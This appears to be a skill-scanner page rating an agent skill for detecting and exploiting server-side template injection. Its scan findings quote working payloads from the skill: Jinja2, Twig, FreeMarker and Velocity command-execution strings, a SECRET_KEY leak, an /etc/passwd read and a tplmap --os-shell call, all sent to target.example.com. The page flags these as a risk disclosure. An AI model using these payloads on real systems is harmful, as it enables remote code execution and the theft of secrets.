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exploiting-template-injection-vulnerabilities
77 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By yanacuti1121/Yana-AI (GitHub) · coding · 13 stars · scanned at commit 54d4aa9
Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 2 places.
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 10 places.
Show 7 more
- .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 144
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}' - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 148
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}' - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 171
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 207
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 239
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 310
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}} - .claude/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py, line 89
{"name": "cycler_popen", "payload": "{{cycler.__init__.__globals__.os.popen('id').read()}}"},
Sends data to these websites: target.example.com
The author does not mention this.
Found in 30 places.
Show 17 more
- .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 113
curl -s "https://target.example.com/page?name=\${.now}" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 117
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 121
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 125
curl -s "https://target.example.com/page?name={{%27test%27.class}}" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 138
curl -s "https://target.example.com/page?name={{config.items()}}" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 141
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 145
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 149
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 153
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 157
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 161
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 171
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 172
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 175
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 179
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 182
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}" - .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 186
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,
and 10 more places
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'exploiting-template-injection-vulnerabilities' ] || [ -L ~/.agents/skills/'exploiting-template-injection-vulnerabilities' ]; then echo 'A skill folder named exploiting-template-injection-vulnerabilities already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/yanacuti1121/Yana-AI' "$d" && git -C "$d" checkout --quiet '54d4aa9fa3241319f4d37212bd23826658bf6bed' -- '.claude/skills/exploiting-template-injection-vulnerabilities' && mkdir -p ~/.agents/skills && cp -R "$d"/'.claude/skills/exploiting-template-injection-vulnerabilities' ~/.agents/skills/'exploiting-template-injection-vulnerabilities' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'exploiting-template-injection-vulnerabilities' ~/.claude/skills/'exploiting-template-injection-vulnerabilities' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for yanacuti1121/Yana-AI shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/yanacuti1121/Yana-AI/)
Score history
| Date | Version | Score |
|---|
| 2026-11-13 | 54d4aa9 | 77 |
| 2026-11-08 | 4a78f20 | 100 |
Also found in
Identical copies of this skill exist at:
- yanacuti1121/Yana-AI/core/skills/exploiting-template-injection-vulnerabilities